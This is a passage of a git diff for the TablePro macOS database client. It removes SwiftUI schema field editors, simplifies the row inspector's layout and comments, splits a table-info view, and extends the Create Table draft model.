-//  SchemaTextFieldView.swift
-//  TablePro
-//
-
-import SwiftUI
-
-/// Text editor for a schema field. Commits on Return or when focus leaves, the way
-/// the structure grid's cell editor does, so one edit records one schema change
-/// instead of one per keystroke.
-internal struct SchemaTextFieldView: View {
-    let context: FieldEditorContext
-
-    @State private var draft: String = ""
-    @State private var hasSeededDraft = false
-    @FocusState private var isFocused: Bool
-
-    var body: some View {
-        TextField(context.placeholderText, text: $draft)
-            .textFieldStyle(.roundedBorder)
-            .autocorrectionDisabled(true)
-            .focused($isFocused)
-            .disabled(context.isReadOnly)
-            .onAppear(perform: seedDraftOnFirstAppearance)
-            .onChange(of: context.value.wrappedValue) { newValue in
-                guard !isFocused else { return }
-                draft = newValue
-            }
-            .onChange(of: isFocused) { focused in
-                guard !focused else { return }
-                commit()
-            }
-            .onSubmit { commit() }
-    }
-
-    /// A connection switch or a trailing-pane swap removes the field and re-adds it with the draft
-    /// intact. Reseeding there overwrote typing not yet committed, and the blur that follows then
-    /// found nothing to commit. A real change of the stored value still arrives through `onChange`.
-    private func seedDraftOnFirstAppearance() {
-        guard !hasSeededDraft else { return }
-        hasSeededDraft = true
-        draft = context.value.wrappedValue
-    }
-
-    private func commit() {
-        guard draft != context.value.wrappedValue else { return }
-        context.value.wrappedValue = draft
-    }
-}
diff --git a/apple/TablePro/Views/RowInspector/FieldEditors/TypePickerFieldView.swift b/apple/TablePro/Views/RowInspector/FieldEditors/TypePickerFieldView.swift
deleted file mode 100644
index 0fac5c11eb..0000000000
--- a/apple/TablePro/Views/RowInspector/FieldEditors/TypePickerFieldView.swift
+++ /dev/null
@@ -1,44 +0,0 @@
-//
-//  TypePickerFieldView.swift
-//  TablePro
-//
-
-import SwiftUI
-
-/// Column type editor for a schema field: free-form text for lengths and precision,
-/// plus the same searchable type list the structure grid opens from its cell chevron.
-internal struct TypePickerFieldView: View {
-    let context: FieldEditorContext
-    let databaseType: DatabaseType
-
-    @State private var isPickerPresented = false
-
-    var body: some View {
-        HStack(spacing: 4) {
-            SchemaTextFieldView(context: context)
-
-            Button {
-                isPickerPresented = true
-            } label: {
-                Image(systemName: "chevron.down")
-                    .font(.caption)
-                    .foregroundStyle(.secondary)
-            }
-            .buttonStyle(.borderless)
-            .disabled(context.isReadOnly)
-            .help(String(localized: "Choose Type"))
-            .accessibilityLabel(String(localized: "Choose Type"))
-            .popover(isPresented: $isPickerPresented) {
-                UserDefinedTypeAwarePicker(scope: context.userDefinedTypeScope) { userDefinedTypes in
-                    TypePickerContentView(
-                        databaseType: databaseType,
-                        currentValue: context.value.wrappedValue,
-                        userDefinedTypes: userDefinedTypes,
-                        onCommit: { context.value.wrappedValue = $0 },
-                        onDismiss: { isPickerPresented = false }
-                    )
-                }
-            }
-        }
-    }
-}
diff --git a/apple/TablePro/Views/RowInspector/FieldEditors/ValuePickerFieldView.swift b/apple/TablePro/Views/RowInspector/FieldEditors/ValuePickerFieldView.swift
deleted file mode 100644
index e75f110ec1..0000000000
--- a/apple/TablePro/Views/RowInspector/FieldEditors/ValuePickerFieldView.swift
+++ /dev/null
@@ -1,101 +0,0 @@
-//
-//  ValuePickerFieldView.swift
-//  TablePro
-//
-
-import SwiftUI
-
-/// A field with suggestions the user may ignore: the same menu the structure grid opens from its
-/// cell chevron, over the same free-form text field every other schema field uses.
-///
-/// `EnumPickerView` cannot serve here. Its list is the whole set of legal values, so it has no way to
-/// hold a value that is not in it, and a column default is an open-ended SQL expression.
-internal struct ValuePickerFieldView: View {
-    internal let context: FieldEditorContext
-    internal let options: [GridMenuOption]
-
-    @State private var isCustomPresented = false
-
-    var body: some View {
-        HStack(spacing: 4) {
-            SchemaTextFieldView(context: context)
-
-            Menu {
-                ForEach(Array(options.enumerated()), id: \.offset) { _, option in
-                    menuEntry(option)
-                }
-            } label: {
-                Label { Text("Choose Value") } icon: { EmptyView() }
-            }
-            .labelStyle(.iconOnly)
-            .menuStyle(.button)
-            .buttonStyle(.borderless)
-            .menuIndicator(.visible)
-            .fixedSize()
-            .disabled(context.isReadOnly)
-            /// The tooltip only. The name already comes from the label's title, and an accessibility
-            /// label modifier on a `Menu` replaces that name with nothing rather than adding one.
-            .help(String(localized: "Choose Value"))
-            /// A SwiftUI `Menu` is an `NSPopUpButton` on macOS, so it publishes `menuButton` or
-            /// `popUpButton` and never `button`, and no suite has ever resolved one by its label.
-            /// The identifier is the hook `InspectorFieldRow`'s own value menu already carries, and
-            /// unlike the label it does not move with the display language.
-            .accessibilityIdentifier("column-default-menu")
-            .popover(isPresented: $isCustomPresented) {
-                CustomValueContentView(
-                    initialValue: context.value.wrappedValue,
-                    escapeStringLiteral: escapeStringLiteral,
-                    stringLiteralPrefix: stringLiteralPrefix,
-                    onCommit: { context.value.wrappedValue = $0 },
-                    onDismiss: { isCustomPresented = false }
-                )
-            }
-        }
-    }
-
-    @ViewBuilder
-    private func menuEntry(_ option: GridMenuOption) -> some View {
-        switch option {
-        case .sectionHeader(let title):
-            Divider()
-            Text(title)
-        case .value(let title, let sql):
-            Button {
-                context.value.wrappedValue = sql
-            } label: {
-                if sql == context.value.wrappedValue {
-                    Label(title, systemImage: "checkmark")
-                } else {
-                    Text(title)
-                }
-            }
-        case .clear(let title):
-            Button(title) { context.value.wrappedValue = "" }
-        case .custom(let title):
-            Divider()
-            Button(title) { isCustomPresented = true }
-        }
-    }
-
-    /// The connected driver's own escaping, the same seam the grid's chevron menu uses, so the two
-    /// surfaces cannot escape one value two ways. It falls back to the shared helper only where the
-    /// field has no connection behind it, which is every field outside a structure row.
-    private var escapeStringLiteral: (String) -> String {
-        guard let connectionId = context.userDefinedTypeScope?.connectionId,
-              let driver = DatabaseManager.shared.driver(for: connectionId) else {
-            return SQLEscaping.escapeStringLiteral
-        }
-        return driver.escapeStringLiteral
-    }
-
-    /// From the same connection the escaping comes from, so a default typed here is written the
-    /// way the engine reads it back. No connection means no prefix, which is what every engine but
-    /// SQL Server wants anyway.
-    private var stringLiteralPrefix: String {
-        guard let connectionId = context.userDefinedTypeScope?.connectionId,
-              let driver = DatabaseManager.shared.driver(for: connectionId) else {
-            return ""
-        }
-        return SQLStringLiteralPrefix.forDatabaseType(driver.connection.type)
-    }
-}
diff --git a/apple/TablePro/Views/RowInspector/InspectorFieldListView.swift b/apple/TablePro/Views/RowInspector/InspectorFieldListView.swift
index fcee8688a1..8328ab0a09 100644
--- a/apple/TablePro/Views/RowInspector/InspectorFieldListView.swift
+++ b/apple/TablePro/Views/RowInspector/InspectorFieldListView.swift
@@ -17,7 +17,6 @@ internal struct InspectorFieldListView: View {
     @ObservedObject internal var editState: MultiRowEditState
     internal let isEditable: Bool
     internal let databaseType: DatabaseType
-    internal let userDefinedTypeScope: DatabaseScope?
     internal var offersDatabaseValues = true
 
     private var offersFieldRemoval: Bool {
@@ -93,14 +92,12 @@ internal struct InspectorFieldListView: View {
         case .phpSerialized, .binaryValue:
             return false
         case .json, .image, .geometry, .blobHex, .boolean, .enumPicker, .setPicker, .arrayElements, .vector,
-             .typePicker, .valuePicker, .schemaText, .multiLine, .singleLine:
+             .multiLine, .singleLine:
             return true
         }
     }
 
-    /// A structure row's edits are recorded by its own grid, so `hasEdits` stays false while
-    /// `hasCommittedEdit` is true. Gating on pending edits alone left the filter permanently
-    /// unusable on exactly the rows it lists as modified.
+    // Rows that disagree carry an edit made elsewhere as `hasCommittedEdit`, with no pending value.
     private var hasAnyModification: Bool {
         editState.fields.contains { $0.hasEdit || $0.hasCommittedEdit }
     }
@@ -156,19 +153,15 @@ internal struct InspectorFieldListView: View {
         let commands = editState.setValueCommands(for: field, isWritable: editable && offersDatabaseValues)
         InspectorFieldRow(
             context: context(for: field, kind: kind, isEditable: editable),
-            layout: InspectorFieldLayout.resolve(for: kind, isSchemaField: field.isSchemaField),
             kind: kind,
             isModified: field.hasEdit || field.hasCommittedEdit,
             isPrimaryKey: field.isPrimaryKey,
             isForeignKey: field.isForeignKey,
-            databaseType: databaseType,
             isExpanded: expandedFieldID == field.id,
             commands: commands,
             isPendingExpression: field.isPendingExpression,
             onSetValue: { editState.setValue($0, at: field.columnIndex) },
-            onRemoveField: offersFieldRemoval && !field.isSchemaField
-                ? { editState.removeField(at: field.columnIndex) }
-                : nil,
+            onRemoveField: offersFieldRemoval ? { editState.removeField(at: field.columnIndex) } : nil,
             onToggleExpand: FieldEditorContent.canExpand(kind: kind, state: FieldValueState.resolve(field))
                 ? { expandedFieldID = expandedFieldID == field.id ? nil : field.id }
                 : nil,
@@ -208,9 +201,7 @@ internal struct InspectorFieldListView: View {
                 ? { editState.setFieldToBytes(at: field.columnIndex, data: $0) }
                 : nil,
             editor: kind,
-            allowsNullAndDefault: offersDatabaseValues && !field.isSchemaField,
-            showsTypeBadge: !field.isSchemaField,
-            userDefinedTypeScope: field.isSchemaField ? userDefinedTypeScope : nil
+            allowsNullAndDefault: offersDatabaseValues
         )
     }
 
@@ -251,7 +242,6 @@ internal struct InspectorFieldListView: View {
               offersDatabaseValues,
               let focusedField,
               let field = editState.fields.first(where: { $0.id == focusedField }),
-              !field.isSchemaField,
               Self.isFieldEditable(field, kind: FieldEditorResolver.resolve(field: field), rowIsEditable: isEditable),
               let command = Self.stateShortcutCommand(
                   for: key, offered: editState.setValueCommands(for: field, isWritable: true)
diff --git a/apple/TablePro/Views/RowInspector/InspectorFieldRow.swift b/apple/TablePro/Views/RowInspector/InspectorFieldRow.swift
index c9c57b6e31..20ca42288f 100644
--- a/apple/TablePro/Views/RowInspector/InspectorFieldRow.swift
+++ b/apple/TablePro/Views/RowInspector/InspectorFieldRow.swift
@@ -10,12 +10,10 @@ import SwiftUI
 internal struct InspectorFieldRow: View {
     @ObservedObject private var themeEngine = ThemeEngine.shared
     internal let context: FieldEditorContext
-    internal let layout: InspectorFieldLayout
     internal let kind: FieldEditorKind
     internal let isModified: Bool
     internal let isPrimaryKey: Bool
     internal let isForeignKey: Bool
-    internal let databaseType: DatabaseType
     internal let isExpanded: Bool
     internal let commands: [SetValueCommand]
     internal var isPendingExpression = false
@@ -29,51 +27,24 @@ internal struct InspectorFieldRow: View {
     internal let fieldID: UUID
 
     var body: some View {
-        Group {
-            switch layout {
-            case .inline: inlineRow
-            case .stacked: stackedRow
-            }
-        }
-        .contentShape(Rectangle())
-        .contextMenu { menuContent }
-        .accessibilityElement(children: .contain)
-        .accessibilityLabel(accessibilityLabel)
+        row
+            .contentShape(Rectangle())
+            .contextMenu { menuContent }
+            .accessibilityElement(children: .contain)
+            .accessibilityLabel(accessibilityLabel)
     }
 
-    // MARK: - Layouts
-
-    /// A schema row: the label in a fixed trailing-aligned lane, the editor filling what is left.
-    /// The lane is a constant because the label vocabulary is closed and authored; its widest member
-    /// renders at 66.4pt, so 96 carries every one of them with room for a longer translation.
-    private var inlineRow: some View {
-        HStack(alignment: .firstTextBaseline, spacing: 6) {
-            HStack(spacing: 3) {
-                statusGlyphs
-                fieldLabel
-            }
-            .frame(width: Self.schemaLabelLaneWidth, alignment: .trailing)
-            editor
-                .frame(maxWidth: .infinity, alignment: .leading)
-            modifiedGlyph
-            valueMenu
-        }
-        .padding(.vertical, InspectorMetrics.betweenFields / 2)
-    }
+    // MARK: - Layout
 
-    /// A data row: name and type on their own line, the value at full width beneath. Every value in
-    /// the pane then starts at the same x and gets the whole content width, against the 24 to 31pt a
-    /// long column name used to leave it.
-    private var stackedRow: some View {
+    // Always stacked: a column name has no length bound, so a label lane beside the value truncated both.
+    private var row: some View {
         VStack(alignment: .leading, spacing: InspectorMetrics.labelToValue) {
             HStack(spacing: 4) {
                 statusGlyphs
                 fieldLabel
                 Spacer(minLength: 4)
                 modifiedGlyph
-                if context.showsTypeBadge {
-                    TypeBadge(context.columnType.badgeLabel)
-                }
+                TypeBadge(context.columnType.badgeLabel)
                 if let onToggleExpand {
                     Button(
                         isExpanded ? String(localized: "Collapse") : String(localized: "Expand"),
@@ -146,7 +117,7 @@ internal struct InspectorFieldRow: View {
         var parts = [context.columnName]
         if isPrimaryKey { parts.append(String(localized: "Primary key")) }
         if isForeignKey { parts.append(String(localized: "Foreign key")) }
-        if context.showsTypeBadge { parts.append(context.columnType.badgeLabel) }
+        parts.append(context.columnType.badgeLabel)
         if isModified { parts.append(String(localized: "Modified")) }
         return parts.joined(separator: ", ")
     }
@@ -198,7 +169,6 @@ internal struct InspectorFieldRow: View {
         FieldEditorContent(
             context: context,
             kind: kind,
-            databaseType: databaseType,
             onSetNull: context.canMutate && commands.contains(.null) ? { onSetValue(.null) } : nil,
             onSetDefault: context.canMutate && commands.contains(.defaultValue) ? { onSetValue(.defaultValue) } : nil,
             onPopOut: onPopOut,
@@ -218,20 +188,8 @@ internal struct InspectorFieldRow: View {
             return nil
         case .geometry:
             return nil
-        case .blobHex, .boolean, .enumPicker, .setPicker, .arrayElements, .vector, .typePicker, .valuePicker,
-             .schemaText, .multiLine, .singleLine:
+        case .blobHex, .boolean, .enumPicker, .setPicker, .arrayElements, .vector, .multiLine, .singleLine:
             return ThemeEngine.shared.valueFontSwiftUI
         }
     }
-
-
-    /// The lane a schema row's label sits in. The vocabulary is closed and authored, and its widest
-    /// member, "Ref Columns", renders at 66.4pt in `.subheadline`, so this carries every label with
-    /// 45% left over for a longer translation. A label that still overruns truncates in the middle
-    /// and keeps its tooltip rather than taking the width from its own value.
-    ///
-    /// It is a constant, not a measurement. A lane derived from the rows on screen would change
-    /// width as the user scrolls, because a `PreferenceKey` max-reduce inside a `List` only ever
-    /// sees the realized rows.
-    private static let schemaLabelLaneWidth: CGFloat = 96
 }
diff --git a/apple/TablePro/Views/RowInspector/RowInspectorView.swift b/apple/TablePro/Views/RowInspector/RowInspectorView.swift
index a9a534f818..03a8555d7f 100644
--- a/apple/TablePro/Views/RowInspector/RowInspectorView.swift
+++ b/apple/TablePro/Views/RowInspector/RowInspectorView.swift
@@ -5,12 +5,9 @@
 
 import SwiftUI
 
-/// The window's inspector: the currently selected row, in one of two renderings.
-///
-/// It replaces a view that carried four modes plus two full-panel takeovers, each takeover drawing
-/// its own back button over the rest of the row. There is no navigation here: a structured value
-/// grows in place and the pop-out windows take anything larger, so the fields around it never go
-/// away.
+// The window's inspector: the selected row in one of two renderings, or a structure definition's form while a
+// Structure view or a Create Table tab is on screen. No navigation: a structured value grows in place and the
+// pop-out windows take anything larger.
 internal struct RowInspectorView: View {
     @ObservedObject private var state: RowInspectorState
     private let paneState: TrailingPaneState
@@ -42,8 +39,12 @@ internal struct RowInspectorView: View {
             ) { section in
                 menuSection(section)
             }
-            InspectorSubjectView(subject: context.subject)
-            content
+            if let structure = context.structure {
+                StructureInspectorView(source: structure, tableMetadata: context.tableMetadata)
+            } else {
+                InspectorSubjectView(subject: context.subject)
+                content
+            }
         }
         .frame(maxWidth: .infinity, maxHeight: .infinity, alignment: .topLeading)
     }
@@ -60,9 +61,7 @@ internal struct RowInspectorView: View {
         }
     }
 
-    /// Both renderings are views of the same selection, which is the case Apple's inspector guidance
-    /// covers. The header offers this only while `offeredRendering` has a value, and there the stored
-    /// mode is the one drawn, so the item it checks is the one on screen.
+    // Offered only while `offeredRendering` has a value, so the item it checks is the rendering on screen.
     private var renderingPicker: some View {
         Picker(String(localized: "Inspector View"), selection: $state.viewMode) {
             ForEach(InspectorViewMode.allCases, id: \.self) { mode in
@@ -73,22 +72,14 @@ internal struct RowInspectorView: View {
         .labelsHidden()
     }
 
-    /// The rendering on screen, for a selection that can be drawn both ways. A schema grid's
-    /// selection is a column definition with no types and no foreign keys to follow, and a pane with
-    /// no row draws table info or nothing, so neither offers a choice: the stored mode would be
-    /// checked there over a pane drawing something else.
+    // Only a data row can be drawn both ways; a structure definition or a pane with no row offers no choice.
     private var offeredRendering: InspectorViewMode? {
-        guard context.hasRow, context.jsonRow != nil else { return nil }
+        guard context.structure == nil, context.hasRow, context.jsonRow != nil else { return nil }
         return showsFields ? .fields : .json
     }
 
-    /// The field list stays mounted and is hidden rather than rebuilt.
-    ///
-    /// It owns its search term, its edited-only setting, which field is expanded, which field has
-    /// focus and the `List`'s scroll position, and none of that survives leaving the hierarchy.
-    /// Rebuilding it also rebuilds a row per column, which is what scales on a wide table. The JSON
-    /// rendering is cheap to rebuild and keeps its own reader state in `jsonViewModel`, so it stays
-    /// conditional.
+    // The field list stays mounted and hidden: its search, expansion, focus and scroll position would not survive
+    // a rebuild, and a rebuild makes a row per column. The JSON rendering keeps its state in `jsonViewModel`.
     @ViewBuilder
     private var content: some View {
         if context.hasRow {
@@ -96,10 +87,8 @@ internal struct RowInspectorView: View {
                 fieldsMode
                     .opacity(showsFields ? 1 : 0)
                     .allowsHitTesting(showsFields)
-                    /// Neither opacity nor hit-testing stops the keyboard. Without this a field
-                    /// still holding first responder when the mode changed goes on accepting text
-                    /// and the list's Ctrl-Option-N and Ctrl-Option-D behind the JSON view, and
-                    /// each of those stages a real cell change that Save later commits unseen.
+                    // Neither opacity nor hit-testing stops the keyboard: a focused field behind the JSON view
+                    // would go on staging cell changes that Save commits unseen.
                     .disabled(!showsFields)
                     .accessibilityHidden(!showsFields)
 
@@ -114,8 +103,6 @@ internal struct RowInspectorView: View {
         }
     }
 
-    /// The JSON rendering only exists for a data-grid row, because a schema grid's selection is a
-    /// column definition with no types and no foreign keys to follow.
     private var showsFields: Bool {
         state.viewMode == .fields || context.jsonRow == nil
     }
@@ -125,7 +112,6 @@ internal struct RowInspectorView: View {
             editState: state.editState,
             isEditable: context.isEditable && !context.isRowDeleted,
             databaseType: connection.type,
-            userDefinedTypeScope: context.userDefinedTypeScope,
             onPopOut: popOut
         )
     }
@@ -140,9 +126,7 @@ internal struct RowInspectorView: View {
         )
     }
 
-    /// The inspector's own glyph rather than `sidebar.right`, which is the pane and which the pane's
-    /// not-connected state drew too: a row not being selected and a connection being down read the
-    /// same.
+    // The inspector's own glyph, not `sidebar.right`, which the not-connected state draws.
     private var emptyState: some View {
         UnavailableStateView(
             String(localized: "No Row Selected"),
@@ -152,12 +136,9 @@ internal struct RowInspectorView: View {
         .frame(maxWidth: .infinity, maxHeight: .infinity)
     }
 
-    /// The pop-out windows are the escape for a value too large for the pane, and the only escape:
-    /// no competitor ships an in-panel takeover and neither does this any more.
     private func popOut(field: FieldEditState, text: String, kind: FieldEditorKind) {
         let isEditable = context.isEditable && !context.isRowDeleted && !field.isServerOwned
-        /// Captured, not looked up per keystroke: the field's id is reissued on every selection
-        /// change, and a window left open over a new selection dropped what was typed into it.
+        // Captured, not looked up per keystroke: the field's id is reissued on every selection change.
         let columnIndex = field.columnIndex
         let rowIDs = state.editState.rowIDs
         let commit: ((String) -> Void)? = isEditable
@@ -189,8 +170,7 @@ internal struct RowInspectorView: View {
     }
 }
 
-/// The window a field's text opens in. A geometry field's map opens its own window from the field;
-/// what reaches here is its Text segment, which goes where that editor's kind would.
+// A geometry field's map opens its own window; its Text segment goes where that editor's kind would.
 internal enum InspectorPopOutWindow: Equatable {
     case json
     case php
@@ -207,19 +187,14 @@ internal enum InspectorPopOutWindow: Equatable {
             return .binary(format)
         case .geometry(let descriptor):
             return resolve(for: descriptor.textEditorKind)
-        case .multiLine, .singleLine, .schemaText, .blobHex, .image, .boolean,
-             .enumPicker, .setPicker, .arrayElements, .vector, .typePicker, .valuePicker:
+        case .multiLine, .singleLine, .blobHex, .image, .boolean, .enumPicker, .setPicker, .arrayElements, .vector:
             return .text
         }
     }
 }
 
-/// The JSON rendering's own commands, in the pane header's menu while that rendering is on screen.
-///
-/// They were an ellipsis of their own at the end of the JSON filter field, which put two ellipsis
-/// menus one above the other in the same column once the pane's header gained one. Its own view so
-/// it observes the reader's model: the inspector does not, and a menu built from it would go on
-/// showing Always Expand Foreign Keys in the state it had when the pane last redrew.
+// The JSON rendering's commands in the pane header's menu. Its own view so it observes the reader's model, which
+// the inspector does not.
 private struct JSONReadingCommands: View {
     @ObservedObject var viewModel: JSONRowInspectorViewModel
 
diff --git a/apple/TablePro/Views/RowInspector/TableInfoView.swift b/apple/TablePro/Views/RowInspector/TableInfoView.swift
index 5baf7bf061..1927087b00 100644
--- a/apple/TablePro/Views/RowInspector/TableInfoView.swift
+++ b/apple/TablePro/Views/RowInspector/TableInfoView.swift
@@ -5,79 +5,83 @@
 
 import SwiftUI
 
-/// The table's own statistics, shown when the inspector has a table but no row selected.
-///
-/// Not a `Form`. `.formStyle(.grouped)` insets its content 30pt per side and there is no way to ask
-/// it for less: measured, that 30 holds at 250, 270, 300, 340, 420 and 600pt, so it is not a margin
-/// that gives way on a narrow pane. At the inspector's 270pt minimum it left a 116pt value column,
-/// which truncated the collation on every engine whose collation has a name (`utf8mb4_0900_ai_ci`
-/// needs 126pt, `SQL_Latin1_General_CP1_CI_AS` needs 196), and the previous author reached for a
-/// `.help` tooltip on that row rather than the width. It also disagreed with the field list beside
-/// it: selecting a row moved every value 20pt sideways.
-///
-/// So the sections are drawn here, on `InspectorMetrics.horizontalInset` like everything else in
-/// the pane, and a value that still does not fit wraps rather than eliding. Wrapping is what
-/// Finder's Get Info does with a long value at this width, measured.
+// The table's own statistics, when the inspector has a table but no row selected. Not a grouped `Form`: its 30pt
+// insets hold at every pane width and left a 116pt value column at 270pt, which truncated collation names.
 internal struct TableInfoView: View {
-    @ObservedObject private var settingsManager = AppSettingsManager.shared
     internal let metadata: TableMetadata
 
     var body: some View {
         ScrollView {
-            VStack(alignment: .leading, spacing: 14) {
-                if settingsManager.general.showObjectComments,
-                   let comment = metadata.comment, !comment.isEmpty {
-                    section(String(localized: "Comment")) {
-                        Text(comment)
-                            .font(.subheadline)
-                            .fixedSize(horizontal: false, vertical: true)
-                            .textSelection(.enabled)
-                            .frame(maxWidth: .infinity, alignment: .leading)
-                    }
-                }
+            TableInfoSections(metadata: metadata)
+                .padding(.horizontal, InspectorMetrics.horizontalInset)
+                .padding(.vertical, 12)
+                .frame(maxWidth: .infinity, alignment: .leading)
+        }
+    }
+}
+
+// The statistics alone, for a pane that scrolls them with its own content.
+internal struct TableInfoSections: View {
+    @ObservedObject private var settingsManager = AppSettingsManager.shared
+    internal let metadata: TableMetadata
+    internal var includesComment = true
+
+    internal init(metadata: TableMetadata, includesComment: Bool = true) {
+        self.metadata = metadata
+        self.includesComment = includesComment
+    }
 
-                section(String(localized: "Size")) {
-                    row(String(localized: "Data"), TableMetadata.formatSize(metadata.dataSize))
-                    row(String(localized: "Indexes"), TableMetadata.formatSize(metadata.indexSize))
-                    row(String(localized: "Total"), TableMetadata.formatSize(metadata.totalSize))
+    var body: some View {
+        VStack(alignment: .leading, spacing: 14) {
+            if includesComment, settingsManager.general.showObjectComments,
+               let comment = metadata.comment, !comment.isEmpty {
+                section(String(localized: "Comment")) {
+                    Text(comment)
+                        .font(.subheadline)
+                        .fixedSize(horizontal: false, vertical: true)
+                        .textSelection(.enabled)
+                        .frame(maxWidth: .infinity, alignment: .leading)
                 }
+            }
+
+            section(String(localized: "Size")) {
+                row(String(localized: "Data"), TableMetadata.formatSize(metadata.dataSize))
+                row(String(localized: "Indexes"), TableMetadata.formatSize(metadata.indexSize))
+                row(String(localized: "Total"), TableMetadata.formatSize(metadata.totalSize))
+            }
 
-                if metadata.rowCount != nil || metadata.avgRowLength != nil {
-                    section(String(localized: "Statistics")) {
-                        if let rows = metadata.rowCount {
-                            row(String(localized: "Rows"), rows.formatted(.number))
-                        }
-                        if let averageLength = metadata.avgRowLength {
-                            row(String(localized: "Average Row"), TableMetadata.formatSize(averageLength))
-                        }
+            if metadata.rowCount != nil || metadata.avgRowLength != nil {
+                section(String(localized: "Statistics")) {
+                    if let rows = metadata.rowCount {
+                        row(String(localized: "Rows"), rows.formatted(.number))
+                    }
+                    if let averageLength = metadata.avgRowLength {
+                        row(String(localized: "Average Row"), TableMetadata.formatSize(averageLength))
                     }
                 }
+            }
 
-                if metadata.engine != nil || metadata.collation != nil {
-                    section(String(localized: "Metadata")) {
-                        if let engine = metadata.engine {
-                            row(String(localized: "Engine"), engine)
-                        }
-                        if let collation = metadata.collation {
-                            row(String(localized: "Collation"), collation)
-                        }
+            if metadata.engine != nil || metadata.collation != nil {
+                section(String(localized: "Metadata")) {
+                    if let engine = metadata.engine {
+                        row(String(localized: "Engine"), engine)
+                    }
+                    if let collation = metadata.collation {
+                        row(String(localized: "Collation"), collation)
                     }
                 }
+            }
 
-                if metadata.createTime != nil || metadata.updateTime != nil {
-                    section(String(localized: "Timestamps")) {
-                        if let created = metadata.createTime {
-                            row(String(localized: "Created"), Self.date(created))
-                        }
-                        if let updated = metadata.updateTime {
-                            row(String(localized: "Updated"), Self.date(updated))
-                        }
+            if metadata.createTime != nil || metadata.updateTime != nil {
+                section(String(localized: "Timestamps")) {
+                    if let created = metadata.createTime {
+                        row(String(localized: "Created"), Self.date(created))
+                    }
+                    if let updated = metadata.updateTime {
+                        row(String(localized: "Updated"), Self.date(updated))
                     }
                 }
             }
-            .padding(.horizontal, InspectorMetrics.horizontalInset)
-            .padding(.vertical, 12)
-            .frame(maxWidth: .infinity, alignment: .leading)
         }
         .accessibilityElement(children: .contain)
         .accessibilityIdentifier("table-info")
@@ -93,9 +97,7 @@ internal struct TableInfoView: View {
         }
     }
 
-    /// The label takes what it needs and the value takes the rest, wrapping when it has to. A fixed
-    /// label lane would be wrong here for the same reason it is wrong on a data field: these labels
-    /// are localized, so their widest member is not knowable from the English.
+    // The label takes what it needs and the value the rest, wrapping: labels are localized, so no fixed lane fits.
     private func row(_ label: String, _ value: String) -> some View {
         HStack(alignment: .firstTextBaseline, spacing: 8) {
             Text(label)
diff --git a/apple/TablePro/Views/Shared/FieldEditors/FieldEditorResolver.swift b/apple/TablePro/Views/Shared/FieldEditors/FieldEditorResolver.swift
index 7e31ec969b..2976e16b9f 100644
--- a/apple/TablePro/Views/Shared/FieldEditors/FieldEditorResolver.swift
+++ b/apple/TablePro/Views/Shared/FieldEditors/FieldEditorResolver.swift
@@ -12,7 +12,6 @@ internal enum FieldEditorResolver {
     /// Answers from the field's own resolution when it has one. Only a field built before
     /// `MultiRowEditState` filled it in pays the detectors here.
     static func resolve(field: FieldEditState) -> FieldEditorKind {
-        if let editor = field.editor { return editor }
         if let resolved = field.resolvedEditor { return resolved }
         return resolve(
             for: field.columnTypeEnum,
diff --git a/apple/TablePro/Views/Structure/ClickHousePartsView.swift b/apple/TablePro/Views/Structure/ClickHousePartsView.swift
index 0e9e2e5f2e..6f37691102 100644
--- a/apple/TablePro/Views/Structure/ClickHousePartsView.swift
+++ b/apple/TablePro/Views/Structure/ClickHousePartsView.swift
@@ -21,7 +21,7 @@ struct ClickHousePartsView: View {
     @State private var isLoading = true
     @State private var errorMessage: String?
     @State private var loadedToken: Int?
-    @StateObject private var grid = StructureListGridModel<UUID>(accessibilityLabel: StructureTab.parts.displayName)
+    @StateObject private var grid = StructureListGridModel<UUID>(accessibilityLabel: StructurePane.parts.displayName)
     @StateObject private var selection = StructureListSelection<UUID>()
 
     var body: some View {
diff --git a/apple/TablePro/Views/Structure/CreateTableActionHandler.swift b/apple/TablePro/Views/Structure/CreateTableActionHandler.swift
deleted file mode 100644
index 9cc91dd862..0000000000
--- a/apple/TablePro/Views/Structure/CreateTableActionHandler.swift
+++ /dev/null
@@ -1,13 +0,0 @@
-//
-//  CreateTableActionHandler.swift
-//  TablePro
-//
-
-import Foundation
-
-@MainActor
-final class CreateTableActionHandler {
-    var createTable: (() -> Void)?
-    var undo: (() -> Void)?
-    var redo: (() -> Void)?
-}
diff --git a/apple/TablePro/Views/Structure/CreateTableDraft.swift b/apple/TablePro/Views/Structure/CreateTableDraft.swift
index 2877426dab..bffd4f2653 100644
--- a/apple/TablePro/Views/Structure/CreateTableDraft.swift
+++ b/apple/TablePro/Views/Structure/CreateTableDraft.swift
@@ -17,13 +17,25 @@ internal struct CreateTableCompositionKey: Hashable {
     let columns: [EditableColumnDefinition]
     let indexes: [EditableIndexDefinition]
     let foreignKeys: [EditableForeignKeyDefinition]
+    let checkConstraints: [EditableCheckConstraintDefinition]
 }
 
+internal enum CreateTablePane: Hashable, CaseIterable {
+    case definition
+    case ddl
+}
+
+// One Create Table tab: the definition it drafts over an empty baseline, its table options, and the commands the
+// toolbar and menus send it. The coordinator holds it by tab id, so the work outlives the view.
 @MainActor
 internal final class CreateTableDraft: ObservableObject {
     private static let logger = Logger(subsystem: "com.TablePro", category: "CreateTableDraft")
 
+    internal let connection: DatabaseConnection
+    // The tab's own database and schema: the table is created there, and the reference menus read there.
+    internal let scope: DatabaseScope?
     internal let changeManager = StructureChangeManager()
+    internal let editor: StructureDefinitionEditor
 
     @Published internal var tableName = "" {
         didSet {
@@ -33,37 +45,85 @@ internal final class CreateTableDraft: ObservableObject {
     }
     @Published internal var tableOptions = CreateTableOptions()
     @Published internal var form: CreateTableFormState?
+    @Published internal var pane: CreateTablePane = .definition
+    @Published internal private(set) var hasResolvedForm = false
+    @Published internal private(set) var isCreating = false
 
-    // Server-wide: the character sets, collations and engines the pickers and the column cells offer.
+    // Server-wide: the character sets, collations and engines the inspector and the column cells offer.
     @Published internal private(set) var optionsCatalog: MetadataLoadState<TableOptionsCatalog?> = .idle
-    // Per target database, so a draft compares a pick with the defaults of the database it creates the table in.
+    // Per target database, so a pick is compared with the defaults of the database the table goes in.
     @Published internal private(set) var optionDefaults = CreateTableOptionDefaults()
-    private var optionDefaultsScope: DatabaseScope?
-    private var optionsScope: DatabaseScope?
-    private var optionsCatalogRead: Task<Void, Never>?
-    @Published internal private(set) var hasResolvedForm = false
-
-    internal func resolveForm(from spec: @autoclosure () -> PluginCreateTableFormSpec?) {
-        guard !hasResolvedForm else { return }
-        hasResolvedForm = true
-        form = spec().map(CreateTableFormState.init(spec:))
-    }
 
     @Published internal private(set) var composed: CreateTableStatements?
